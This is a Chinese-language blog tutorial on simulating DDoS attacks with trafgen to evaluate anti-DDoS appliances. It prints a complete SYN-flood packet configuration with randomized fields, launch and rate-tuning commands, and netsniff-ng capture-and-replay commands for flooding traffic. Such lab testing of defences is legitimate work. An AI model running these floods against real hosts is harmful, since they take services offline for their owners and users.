高效能流量生成工具trafgen(DDoS模擬)
因專案需要,要對主流的幾家抗DDoS裝置做測評,當然了最專業的是使用Spirent TestCenter,但受限於其他因素,最終決定搭建一個軟體環境來進行相關的DDoS測試。
本文主要講解的是如何使用trafgen工具發起DDoS攻擊(syn flood, ack flood等等)
synflood攻擊、ackflood攻擊、UDP fragment攻擊的詳細配置檔案見 github ddos-dos-tools
工具選擇
- 開源的流量生成工具很多,可用於模擬DoS攻擊的工具也不在少數,如hping、scapy(python庫)等等,但均存在著不足,如效能不夠,不能模擬DDoS攻擊(攻擊流IP和PORT不能動態變化)
- 通過詳細的對比測試(同hping、scapy、LOIC等對比測試,具體資料不宜公開),最後統一選擇了netsniff-ng套件中的trafgen攻擊,其在測試環境中可達到24萬pps的SYNFLOOD攻擊,是一款高速、多執行緒網路資料包生成工具
- trafgen 工具能夠動態生成攻擊IP和埠號,能夠通過配置檔案動態修改攻擊包的內容
簡單使用
1. 安裝
trafgen屬於netsniff-ng套件,是一款linux下的工具,安裝很方便,通過系統的線上安裝工具即可完成安裝,如centos下yum install netsniff-ng
即可
2. 使用(SYN Flood攻擊)
工具的比較簡單,主要是配置檔案的編寫,假設已經寫好了一個synflood配置檔案
- 鍵入命令
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
即可發起攻擊 - 進一步的還可通過
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --gap 1000
(以毫秒為單位)來調節速度 - 進一步的還可通過
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --kernel-pull 20
(預設10us)來調節速度 - 詳細的可以
man trafgen
- 鍵入命令
配置檔案解讀(以synflood.trafgen檔案為例)
synflood.trafgen 模版,trafgen就是通過該檔案來生成特定的資料包的!看配置檔案的註釋基本能清除如何修改
/* TCP SYN attack ( 64byte ) * Command example: * trafgen --cpp --dev em2 --conf synflood.trafgen --verbose * Note: dynamic elements "drnd()" make trafgen slower */ #define ETH_P_IP 0x0800 #define SYN (1 << 1) #define ACK (1 << 4) #define ECN (1 << 6) { /* --- Ethernet Header --- */ /* NEED ADJUST */ // 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination // 0x00, 0x12, 0xc0, drnd(3), # MAC Source 0xf4, 0xe9, 0xd4, 0x8d, 0x04, 0x82, # MAC Destination 0xf4, 0xe9, 0xd4, 0x8c, 0xe2, 0xa2, # MAC Source const16(ETH_P_IP), /* IPv4 Version, IHL, TOS */ 0b01000101, 0, /* IPv4 Total Len */ const16(46), /* IPv4 Ident */ drnd(2), //const16(2), /* IPv4 Flags, Frag Off */ 0b01000000, 0, /* IPv4 TTL */ 64, /* Proto TCP */ 0x06, /* IPv4 Checksum (IP header from, to) */ csumip(14, 33), /* NEED ADJUST */ // 10, 10, 88, drnd(1), # Source IP 10, 10, 88, 173, # Source IP 10, 10, 88, 172, # Dest IP /* TCP Source Port */ drnd(2), /* TCP Dest Port */ const16(80), /* TCP Sequence Number */ drnd(4), /* TCP Ackn. Number */ const32(0), /* NOTICE ACK==zero with SYN packets */ /* TCP Header length + Flags */ //const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */ //const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */ const16((0x5 << 12) | SYN) /* TCP SYN Flag */ //const16((0x5 << 12) | ACK) /* TCP ACK Flag */ /* Window Size */ const16(16), /* TCP Checksum (offset IP, offset TCP) */ csumtcp(14, 34), const16(0), /*PAD*/ /* Data */ "SYNswf" }
配置檔案可通過
drnd()
函式來實現對應內容的動態生成,如IP、MAC地址等,但是會影響效能
- 修改MAC地址(攻擊/被攻擊MAC地址)
- 修改IP地址和攻擊協議及埠號,
const16()
將對應的十進位制數轉換成一個16位的二進位制數
- 修改位SYN標誌(根據情況也可修改為其他的)
3. ACKFlood 攻擊
- 配置檔案見 github ddos-dos-tools
4. UDP fragment 攻擊
- 配置檔案見 github ddos-dos-tools
5. 退出命令
統一退出命令pgrep trafgen | xargs kill -s 9
其他
- 在trafgen效能仍達不到要求的情況下,可通過netsniff-ng進行流量回放,如下
- 先捕獲synfloog攻擊資料包
netsniff-ng --in ens33 --out synflood.pcap --silent --verbose --filter 'ether src 00:50:56:ab:a5:3f'
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
- 再重放synflood攻擊資料包
netsniff-ng --in synflood.pcap --out ens33 --silent --prio-high --verbose
- 先捕獲synfloog攻擊資料包
- 在用trafgen進行實時流量生成或netsniff-ng重放時,還可通過工具
tc
進行流量控制,具體請見"linux流量控制工具tc一文,簡單舉例如下
相關文章
- 生成iOS模擬器BuildiOSUI
- 模擬測試生成Apache Kafka負載的最佳工具:KLoadGenApacheKafka負載
- 在雲中生成和模擬iOSiOS
- lazy-mock ,一個生成後端模擬資料的懶人工具Mock後端
- Laravel Seeder 生成百萬模擬資料Laravel
- Python模擬資料生成庫FakerPython
- 谷歌工具模擬列印媒體谷歌
- Gem Mod音訊模擬工具音訊
- 模擬微信搶紅包demo,生成隨機數隨機
- lazy mock 一個快速生成後端模擬資料的懶人工具(文件更新)Mock後端
- CST—電磁及EMC模擬工具
- CST — 電磁及EMC模擬工具
- SecureCRT 9.3.2 終端模擬SSH工具Securecrt
- 弱網環境模擬工具(轉)
- mumu模擬器 MuMuManager.exe是MuMu模擬器12新加入的工具
- 動態生成HTML元素-模擬線上考試功能HTML
- Tickeys for Mac鍵盤音效模擬工具Mac
- [ATC]Facebook開源弱網模擬工具
- Mock 工具使用 - 模擬弱網測試Mock
- Vue3——整合mock 模擬資料生成器VueMock
- Speos — 光學產品設計模擬工具
- 好用的終端SSH模擬工具:SecureCRT for macSecurecrtMac
- Mac鍵盤音效模擬工具——Tickeys for MacMac
- Facebook網路模擬測試工具ATC使用
- DDoS攻擊工具HOIC分析
- 一個高效能的go 紅黑樹 map, 模擬STL實現Go
- 模擬上傳multipart form data 指令碼生成時間軸ORM指令碼
- 模擬
- 視訊弱網測試及常用模擬工具
- SPEOS—光學產品設計及模擬工具
- mac掃描和模擬ibeacon的工具Mac
- DDos/DoS工具集(持續更新)
- 10.6 模擬賽(NOIP 模擬賽 #9)
- 有限元模擬 有限體積模擬
- WinIO:一個底層的鍵盤事件模擬工具事件
- git 模擬Git
- 模擬題
- ACP模擬